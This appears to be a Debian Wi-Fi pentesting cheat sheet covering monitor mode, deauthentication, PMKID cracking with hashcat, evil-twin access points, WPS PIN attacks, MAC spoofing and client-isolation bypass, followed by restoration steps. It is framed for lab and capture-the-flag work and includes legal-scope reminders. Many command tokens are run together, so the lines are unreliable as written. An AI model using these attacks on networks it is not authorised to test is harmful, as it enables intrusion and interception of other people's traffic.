ip link
iw dev
iw phy
iwconfignmcli device status
rfkill list
ethtoolwlan0# sometimes useful for driver info# Look for:
Supported interface modes: managed / monitor / AP
Supported Ciphers: CCMP / GCMP / TKIP
Supported commands: remain-on-channel, set-monitor, AP
Environment snapshot
uname-alsusblspci-nn | grep -iwirelessdmesg | grep -iE'wlan|wifi|firmware|rtl|ath|mt76|iwlwifi'journalctl-b | grep -iE'wlan|wifi|NetworkManager|wpa_supplicant'# Current config backup before testingmkdir-p wifi-backup
cp-a /etc/NetworkManager wifi-backup/
cp-a /etc/wpa_supplicant wifi-backup/ 2>/dev/null
nmcli connection show > wifi-backup/nmcli-connections.txt
Capture sanity
tcpdump-Dairmon-ngairmon-ng check
airmon-ng check kill # only if you accept network disruption# Minimal capture testtimeout 10 tcpdump-iwlan0mon-I -nn -c 20timeout 10 tshark-iwlan0mon-I -a duration:10# If nothing appears:
wrong channel / no monitor mode / driver limitation / rfkill / DFS
02Monitor Mode, Channels & Scanning
Enable monitor mode
# aircrack-ng routeairmon-ng start wlan0airmon-ng start wlan06# lock channel 6# iw routeip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up
iw dev wlan0 set channel 6# Set channel width when needediw dev wlan0 set channel 36HT20
Discovery
airodump-ngwlan0monwash-iwlan0mon# WPSkismet-cwlan0bettercap-ifacewlan0moniw dev wlan0 scan | less# Lock a BSSID/channelairodump-ng-c11--bssidAA:BB:CC:DD:EE:FF-wcapturewlan0mon
5 GHz / 6 GHz notes
# Check allowed channels / regdomiw reg get
sudoiw reg set BE# DFS can delay or block capture/AP tests
Use non-DFS channels when possible for lab work.
# Hidden SSID
Passive capture + wait for probe/assoc, or induce reconnect:
aireplay-ng--deauth 5 -aBSSIDwlan0mon
hcxdumptool-iwlan0mon-odump.pcapng \
--enable_status=1hcxpcapngtool-ohash.hc22000dump.pcapnghashcat-m 22000hash.hc22000wordlist.txt# Notes
Works only on targets exposing PMKID data.
WPA3-SAE changes the game; expect fewer offline wins.
Evil twin / rogue AP
airbase-ng-e"FreeWifi"-c6wlan0monhostapd-wpehostapd-wpe.confbettercap-ifacewlan0monwifi.recon on
wifi.deauthall# Safer lab setup
Use an isolated lab, dedicated RF shielded space, or attenuators.
Avoid deauth on networks you do not own / control.
wash-iwlan0monreaver-iwlan0mon-bBSSID-vvbullywlan0mon-bBSSID# Notes
WPS is often disabled now, but still appears in old hardware / labs.
Treat it as target-dependent, not universal.
MAC spoofing / adapter identity
ip link set wlan0 down
macchanger-rwlan0ip link set wlan0 up
# Restore hardware MACmacchanger-pwlan0# Beware
NetworkManager may also randomize MACs.
Persistent config matters when testing and when restoring.
AirSnitch focuses on bypassing Wi-Fi client isolation.
It is not "guess the password" and not classical crypto breaking.
Think in layers:
1. shared broadcast/group key abuse
2. IP-layer gateway bouncing
3. MAC spoofing / rebinding / port stealing style effects
4. cross-layer mismatch between isolation assumptions
Practical pentest takeaways
# Test assumptions, not just Wi-Fi auth
Can client A reach / influence client B despite "isolation"?
Can the gateway path be abused?
Do duplicate MAC conditions confuse the AP / bridge?
Can broadcast/ARP behavior reveal peer traffic paths?
# Lab clues to watch
Unexpected ARP replies
Frames to gateway MAC landing on attacker path
Duplicate / oscillating MAC-learning behavior
Peer-to-peer reachability despite isolation toggles
Mitigation-aware testing
Client isolation alone is not enough.
Segment guest / untrusted users into separate VLANs when possible.
Use PMF where supported.
Monitor duplicate MAC / spoofing behavior.
Prefer end-to-end protection (HTTPS, VPN, app-layer auth).
# For reports
Document AP model / firmware / client OS / regdom / channel / cipher.
Reproducibility matters.
07WiFi + PCAP Correlation
Two useful capture models
# Model A: wireless-only
Monitor-mode pcapng from the air
Good for beacons, probes, EAPOL, deauth, radiotap, signal clues
# Model B: wireless + upstream ethernet
One capture on monitor interface + one on AP uplink / gateway
Good for correlating association events with IP/TCP activity
Correlation tips
Match by time first.
Then match by client MAC / IP / hostname / DHCP / DNS / TLS SNI.
# Useful pivots
assoc request → DHCP → DNS → HTTP/TLS
EAPOL → new IP flow burst
Deauth → reconnect → captive portal / auth flow
# Files
Prefer pcapng + synchronized clock on all capture systems.
# Example uplink: eth0, AP iface: wlan1sysctl-w net.ipv4.ip_forward=1
iptables-t nat -A POSTROUTING -oeth0-j MASQUERADEiptables-A FORWARD -ieth0-owlan1-m state --state RELATED,ESTABLISHED -j ACCEPTiptables-A FORWARD -iwlan1-oeth0-j ACCEPT# nftables equivalent preferred on modern Debian if already in use
09Return to a Working Debian Configuration After Testing
Stop test services & monitor mode
sudosystemctl stop hostapd dnsmasq 2>/dev/null
sudoairmon-ng stop wlan0mon 2>/dev/null
# If you used iw manuallysudoip link set wlan0 down
sudoiw dev wlan0 set type managed
sudoip link set wlan0 up
# Restore MAC if changedsudomacchanger-pwlan0
Undo IP forwarding / NAT
sudosysctl-w net.ipv4.ip_forward=0
sudoiptables-t nat -Fsudoiptables-F FORWARD# Or restore saved rules if you used themsudoiptables-restore < saved.rules
sudonft flush ruleset # only if your system is not relying on nft rules
Bring desktop networking back
sudosystemctl restart NetworkManager
sudosystemctl restart wpa_supplicant 2>/dev/null
nmcli radio wifi on
rfkill unblock wifi
nmcli device wifi rescan
nmcli connection up "Your Saved SSID"# If DNS brokeresolvectl status
sudosystemctl restart systemd-resolved 2>/dev/null
Good hygiene before tests
Save NM connection names.
Save iptables/nft rules.
Save MAC address.
Prefer a dedicated USB adapter for monitor mode.
Prefer a second adapter for AP mode.
NetworkManager fighting hostapd
one adapter cannot do AP + monitor reliably
regdom/channel mismatch
MAC randomization confusion
stale dnsmasq or hostapd processes
10Practical Workflow & Pitfalls
Workflow
1. Snapshot current Debian network state.
2. Identify adapter capabilities (managed / monitor / AP).
3. Use a dedicated monitor adapter when possible.
4. Scan and lock the correct channel/BSSID.
5. Capture pcapng, not only cap, to preserve metadata.
6. For pentest: choose handshake / PMKID / evil twin / isolation test path.
7. For analysis: pivot through beacons, EAPOL, deauth, radiotap signal, reassoc.
8. If correlating with upstream traffic, capture both air-side and gateway-side and merge on time.
9. Document AP model, firmware, channel, cipher, client OS.
10. Restore managed mode, MAC, routing, and NetworkManager before leaving the lab.
Pitfalls
Wrong channel
No monitor support
Driver strips radiotap fields
Capturing too late for handshake
Assuming WPA3 means no attack surface
CTF-specific use
Look for hidden SSID
Recover handshake / PMKID
Follow deauth timing
Correlate wireless events with DNS/HTTP pcaps
Extract flags from wireless-side metadata too
Reporting
State legal scope.
State RF setup.
List tools / versions.
Keep raw captures.
Keep a short restoration checklist.